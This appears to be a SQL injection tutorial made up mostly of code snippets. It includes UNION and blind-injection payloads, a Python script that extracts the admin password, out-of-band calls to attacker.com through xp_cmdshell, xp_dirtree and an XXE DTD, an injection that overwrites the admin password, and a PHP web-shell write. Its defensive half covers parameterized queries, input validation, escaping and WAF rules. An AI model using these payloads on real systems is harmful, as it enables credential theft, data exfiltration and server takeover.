# SQL Injection Attacks

http://shop.com/product?id=5'

Error: You have an error in your SQL syntax near 'id=5''

# SECURE: Hide error details
try:
    cursor.execute(query)
except Exception as e:
    logging.error(f"Database error: {str(e)}")
    return "An error occurred"  # Generic message

SELECT name, price FROM products WHERE id = 5

5' UNION SELECT username, password FROM users--

' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0--

import requests

url = "http://example.com/product?id=1"
password = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789"

for position in range(1, 33):
    for char in chars:
        payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{position},1)='{char}'--"
        response = requests.get(url + payload)

        if "Product Name" in response.text:
            password += char
            print(f"Found: {char}")
            break

print(f"Admin password: {password}")

'; EXEC xp_cmdshell('nslookup attacker.com')--
'; EXEC master..xp_dirtree '\\attacker.com\share'--

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual--

String email = request.getParameter("email");
String userId = request.getParameter("userId");

String query = "UPDATE users SET email = '" + email + "' WHERE id = " + userId;
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);

email: test@test.com', password='hacked123' WHERE username='admin'--
userId: 1

UPDATE users SET email = 'test@test.com', password='hacked123' WHERE username='admin'--' WHERE id = 1

' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

http://example.com/shell.php?cmd=whoami

// SECURE
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

// SECURE
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
SqlDataReader reader = cmd.ExecuteReader();

import re

def validate_username(username):
    """Only allow alphanumeric and underscore"""
    if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
        raise ValueError("Invalid username format")
    return username

def validate_numeric_id(id_value):
    """Ensure it's a number"""
    try:
        return int(id_value)
    except ValueError:
        raise ValueError("ID must be numeric")

def validate_email(email):
    """Validate email format"""
    if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
        raise ValueError("Invalid email format")
    return email

const mysql = require('mysql');
const connection = mysql.createConnection({...});

// Better than nothing, but prefer parameterized queries
const escaped_username = connection.escape(username);
const escaped_password = connection.escape(password);

SecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    log,\
    msg:'SQL Injection Attack Detected'"

waf_rules:
  - rule_id: "sql_injection_001"
    pattern: "(?i)(union|select|insert|update|delete|drop|exec|script)"
    action: "block"
    severity: "critical"
    log: true